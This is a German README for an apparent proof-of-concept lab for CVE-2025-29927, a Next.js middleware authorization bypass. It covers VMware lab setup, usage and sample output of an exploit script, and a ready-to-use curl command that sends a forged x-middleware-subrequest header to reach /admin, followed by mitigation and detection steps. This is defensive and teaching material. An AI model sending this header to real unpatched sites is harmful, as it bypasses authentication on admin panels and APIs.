
Proof-of-Concept-Exploit für CVE-2025-29927, eine Umgehung der Middleware-Autorisierung in Next.js. Enthält ein verwundbares Ziellabor und ein Python-Skript zur Überprüfung der Umgehung durch Senden manipulierter x-middleware-subrequest-Header.
Ein kleines GitHub-Projekt zur Verifizierung von CVE-2025-29927 (Next.js Middleware Authorization Bypass) in einer lokalen Übungsumgebung (VMware: Ubuntu-Zielmaschine + Kali-Angriffsmaschine).
⚠️ Haftungsausschluss: Dieses Projekt dient ausschließlich der Sicherheitsschulung, für CTFs und Übungsumgebungen, die du selbst besitzt oder für die du eine ausdrückliche Genehmigung hast. Die Verwendung gegen nicht autorisierte Systeme ist strengstens untersagt. Für jegliche Konsequenzen, die aus dem Missbrauch dieses Projekts entstehen, ist der Nutzer selbst verantwortlich.
| Element | Inhalt |
|---|---|
| CVE | CVE-2025-29927 |
| Veröffentlichungsdatum | 25.03.2025 (Offizielles Sicherheitsbulletin von Next.js) |
| Betroffene Komponente | Vercel Next.js (Node.js Full-Stack-Framework) |
| Schwachstellentyp | Autorisierungsumgehung / Improper Authorization (CWE-863) |
| Betroffene Versionen | < 12.3.5, < 13.5.9, < 14.2.25, < 15.2.3 |
| Behobene Versionen | 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 und höher |
| Schweregrad | Critical / Hoch (genauer Wert siehe NVD-Seite) |
Nach dem Bekanntwerden der Schwachstelle wurden zahlreiche Admin-Backends, Zahlungs-Callbacks und interne APIs in Produktionsumgebungen umgangen. Sowohl Metasploit als auch ProjectDiscovery Nuclei haben Erkennungsmodule aufgenommen. Es handelt sich um eine der repräsentativsten Framework-Autorisierungsumgehungen des Jahres 2025.
Next.js erlaubt es, die Authentifizierungslogik in middleware zu schreiben, zum Beispiel:
export function middleware(request) {
if (!isLogin(request)) return NextResponse.redirect("/login"); // Nicht eingeloggt → blockieren
return NextResponse.next();
}
Das Problem: Next.js verlässt sich intern auf einen vom Client fälschbaren Request-Header, um zu bestimmen, ob „dieser Request die Middleware bereits durchlaufen hat":
x-middleware-subrequest: middleware
In den betroffenen Versionen geht Next.js davon aus, dass die Middleware bereits ausgeführt wurde, sobald eine externe Anfrage diesen internen Header enthält. Dadurch wird die gesamte Authentifizierungs-Middleware übersprungen. Ein Angreifer benötigt kein Konto und kann mit diesem Header direkt auf geschützte Routen wie /admin zugreifen und erhält eine 200-Antwort — während die Seite selbst der Middleware vertraut und keine erneute Prüfung durchführt. Die Autorisierungsprüfung wird damit wirkungslos (Fehler in der Vertrauensgrenze).
💡 Der in öffentlichen Exploits am häufigsten verwendete Wert ist eine wiederholte Aneinanderreihung des Middleware-Pfads, z. B.
middleware:middleware:middleware:middleware:middleware; ein einzelnesmiddlewarefunktioniert in manchen Versionen/Verzeichnisstrukturen nicht (in dieser Übungsumgebung mit 14.2.24 getestet). Dieses PoC probiert mehrere Kandidatenwerte durch; sobald einer greift, ist die Umgehung erfolgreich.
CVE-2025-29927-PoC/
├── README.md # Dieses Dokument (Schwachstellenbeschreibung + VMware-Übungsumgebungs-Tutorial)
├── LICENSE # MIT
├── .gitignore
├── exploit.py # ★ Python3-PoC mit reiner Standardbibliothek zur Verifizierung (läuft auf Kali/beliebiger Maschine)
├── target/ # ★ Selbstgebaute Schwachstellen-Übungsumgebung (auf Ubuntu-Zielmaschine kopieren)
│ ├── package.json # Sperrt [email protected] (betroffene Version)
│ ├── middleware.js # Simuliert die „Authentifizierungs-Middleware" einer echten Produktion
│ ├── pages/
│ │ ├── index.js # Startseite
│ │ ├── login.js # Login-Seite (demonstriert die Weiterleitung hierher)
│ │ └── admin.js # ★ Geschütztes Backend, liest serverseitig flag.txt
│ ├── flag.txt # Übungsumgebungs-Flag: FLAG{...}
│ ├── setup.sh # Ein-Klick-Setup auf der Zielmaschine: Node 20 + npm install + build
│ └── start.sh # Startet im Produktionsmodus und lauscht auf 0.0.0.0:3000
└── tests/
└── mock_target.py # Simulierte Zielmaschine ohne Node (nur für Entwicklungs-Selbsttests)
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17 (Host: Windows) │
│ Netzwerk: NAT (Standard VMnet8), beide VMs im selben │
│ Subnetz, gegenseitig pingbar │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ Ziel: Ubuntu 24.04│ │ Angreifer: Kali Linux│ │
│ │ │ http │ │ │
│ │ Node 20 + Next │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP: <TARGET_IP> IP: <ATTACKER_IP> │
└───────────────────────────────────────────────────────────┘
| Zweck | Image/Software | Empfohlene Version |
|---|---|---|
| Virtualisierungssoftware | VMware Workstation Pro 17 (für private Nutzung kostenlos) | 17.x |
| Zielmaschinen-Image | Ubuntu Server LTS ISO | 24.04.x |
| Angriffsmaschine | Kali Linux (offizielles VMware-Image oder ISO-Installation) | 2025.x |
| (Optional) | Host mit mind. 8 GB RAM, mind. 50 GB Festplatte | — |
Alle folgenden Schritte werden auf der Ubuntu-Zielmaschine ausgeführt.
# Option A: Projekt auf das eigene GitHub pushen und dann klonen (empfohlen; nutze dies, wenn du es auf GitHub veröffentlichen möchtest)
git clone https://github.com/<dein-benutzername>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# Option B: Vom Host per scp übertragen
# scp -r CVE-2025-29927-PoC ubuntu@<TARGET_IP>:~/
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # Installiert Node 20(LTS) + npm install + next build
Was setup.sh intern tut: apt aktualisieren → curl/CA/Build-Tools installieren → Node.js 20 LTS über NodeSource installieren → npm install (zieht Abhängigkeiten wie [email protected]) → npm run build.
bash start.sh
# Wenn "▲ Next.js 14.2.24" und "Local: http://0.0.0.0:3000" erscheinen, war es erfolgreich
In einem weiteren Terminal zuerst einen lokalen Smoke-Test durchführen:
curl -s http://127.0.0.1:3000 # Startseite, 200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# Erwartete Ausgabe 307 —— ohne Cookie von der Middleware blockiert (Authentifizierung funktioniert normal)
curl -s http://127.0.0.1:3000/admin # Body sollte den Inhalt der Login-Seite nach der Weiterleitung zeigen
Die Firewall der Zielmaschine blockiert eingehenden Verkehr standardmäßig nicht; falls du ufw aktiviert hast:
sudo ufw allow 3000/tcp.
sudo apt update
python3 --version # Kali bringt Python3 mit; keine zusätzlichen Abhängigkeiten nötig (PoC nutzt nur die Standardbibliothek)
ip -4 addr show # IP von Kali notieren (z. B. 192.168.x.xxx)
exploit.py auf Kali bringen (entweder dasselbe Repository klonen oder die einzelne Datei per scp übertragen). Danach zuerst die Erreichbarkeit der beiden VMs prüfen:
ping <TARGET_IP> # Erreichbar ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000 # Sollte 200 ausgeben
Auf der Kali-Angriffsmaschine ausführen:
python3 exploit.py -u http://<TARGET_IP>:3000
[1/3] Basis-Erkennung GET /admin (ohne spezielle Header)
└─ Statuscode 307 —— von der Middleware normal blockiert ✓ (Schwachstellenumgebung bereit)
[2/3] Umgehungsversuch x-middleware-subrequest: <Kandidatenwerte-Rotation>
└─ Header-Wert='middleware:middleware:middleware:middleware:middleware' Statuscode 200 —— Umgehung erfolgreich! Middleware übersprungen ✓
[3/3] Ergebnis extrahieren
└─ Backend-Seite hat serverseitig flag.txt gelesen:
FLAG{cve-2025-29927-lab-ok}
[+] Fazit: VULNERABLE —— CVE-2025-29927 Autorisierungsumgehung verifiziert
Wichtige Erkenntnis: Dieselbe URL wird ohne speziellen Header mit 307 blockiert, mit x-middleware-subrequest jedoch mit 200 direkt auf das Backend zugegriffen — ein vollständiger, geschlossener Verifizierungszyklus der „Authentifizierungs-Middleware-Umgehung".
# ① Basis: Sollte 307 zurückgeben (Weiterleitung zu /login)
curl -i http://<TARGET_IP>:3000/admin | head -n 10
# ② Ausnutzung: Sollte 200 zurückgeben und FLAG{...} enthalten
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://<TARGET_IP>:3000/admin | head -n 30
📌 Hinweis aus der Praxis: In dieser Übungsumgebung (Next 14.2.24 +
middleware.jsim Root-Verzeichnis) funktioniert der 5-fach-Wertmiddleware:middleware:middleware:middleware:middleware, ein einzelnesmiddlewarefunktioniert nicht. Verwende für manuelle curl-Tests direkt den 5-fach-Wert; bei Unsicherheitexploit.pyausführen (rotiert automatisch durch die Kandidatenwerte).
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL Zieladresse, z. B. http://192.168.162.10:3000
--path PATH Geschützter Pfad, Standard: /admin
--timeout SECONDS Timeout pro Anfrage, Standard: 10
--delay SECONDS Intervall zwischen den Kandidaten-Header-Werten, Standard: 0
--insecure HTTPS-Zertifikatsprüfung überspringen
--verbose Statuscode jeder Kandidaten-Anfrage ausgeben (für Debugging)
Exit-Codes: 0 = Schwachstelle verifiziert; 1 = Ziel nicht betroffen/alle Anfragen fehlgeschlagen; 2 = Parameter- oder Umgebungsfehler
Falls kein VMware verfügbar ist oder du Node nicht zuerst installieren möchtest, kannst du die im Repository enthaltene simulierte Zielmaschine verwenden, um die PoC-Logik durchzuspielen (nur Python3 auf dem Host nötig; simuliert das Verhalten „307-Blockierung / 200 mit speziellem Header"):
# Terminal 1: Simulierte Zielmaschine starten (lauscht auf 127.0.0.1:8123)
python3 tests/mock_target.py
# Terminal 2: Verifizieren
python3 exploit.py -u http://127.0.0.1:8123
# Erwartete Ausgabe ebenfalls VULNERABLE und FLAG{mock-bypass-ok}
Hinweis: Der Simulator dient nur zum Selbsttest der Skriptlogik; für die offizielle Verifizierung bitte unbedingt die echte Übungsumgebung aus den Abschnitten 5 und 6 verwenden.
npm i [email protected] (oder 15.2.3+ / entsprechende neuere Version), neu bauen und bereitstellen;getServerSideProps / Route Handlern / Backend-APIs ein zweites Mal auf die Identität prüfen;x-middleware-subrequest-Header verwerfen.# Offizielles Nuclei-Template
nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
Nach dem Upgrade dieses PoC erneut ausführen; es sollte „Ziel nicht betroffen" ausgeben — das ist die Akzeptanzmethode für den Vorher/Nachher-Vergleich.
| Symptom | Ursache / Lösung |
|---|---|
next start meldet, dass der Port belegt ist | lsof -i :3000 ausführen, um den Prozess zu finden, oder -p 3001 verwenden |
curl http://<TARGET_IP>:3000 funktioniert nicht | Die beiden VMs befinden sich nicht im selben NAT-Subnetz; prüfe, ob beide VMware-Netzwerkadapter auf NAT stehen, und bestätige das Subnetz mit ip a |
Zugriff auf /admin liefert bereits als Basis 200 | Middleware nicht aktiv: Stelle sicher, dass middleware.js im Root-Verzeichnis von target/ liegt und setup.sh erfolgreich gebaut hat |
| Umgehungsversuch liefert weiterhin 307 | Je nach Version/Verzeichnisstruktur funktionieren unterschiedliche Werte: Zuerst python3 exploit.py --verbose ausführen und die Rotation prüfen; für manuelle curl-Tests den 5-fach-Wert middleware:middleware:middleware:middleware:middleware verwenden |
| Kali kann Ubuntu nicht pingen | Unter VMware NAT ist die Kommunikation standardmäßig möglich; falls nicht, Firewalls beider Maschinen und Snapshot-Wiederherstellung prüfen |
| Andere Next.js-Version testen | next-Version in target/package.json ändern und dann npm install && npm run build erneut ausführen |